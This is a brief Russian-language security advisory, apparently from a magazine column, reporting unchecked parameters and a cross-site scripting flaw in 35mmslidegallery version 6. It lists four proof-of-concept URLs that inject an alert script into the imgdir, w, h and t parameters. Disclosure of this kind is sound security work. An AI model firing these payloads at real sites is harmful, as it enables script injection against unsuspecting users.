Компьютер для продвинутых пользоватлей Выпус по безопасности. Ошибка в 35mmslidegallery.
Компьютер для продвинутых
пользователей
В этом выпуске:
35mmslidegallery
ПО: 35mmslidegallery
Версия: 6
Уязвимость:
В данном приложении некоторые переменные не проверяются до выполнения.
Это позволяет нам вставить любой JavaScript-код и провести XSS-атаку. Использование:
http://example.com/lumet/album/index.php?imgdir='><script>alert('10')</script>
http://example.comr/lumet/album/popup.php?w='><script>alert('10')</script>
http://example.com/lumet/album/popup.php?h='><script>alert('10')</script>
http://example.com/lumet/album/popup.php?t='><script>alert('10')</script>